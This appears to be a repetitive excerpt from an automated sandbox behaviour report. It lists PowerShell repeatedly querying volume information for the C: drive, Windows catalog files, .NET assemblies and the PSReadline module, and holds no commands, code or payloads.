Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
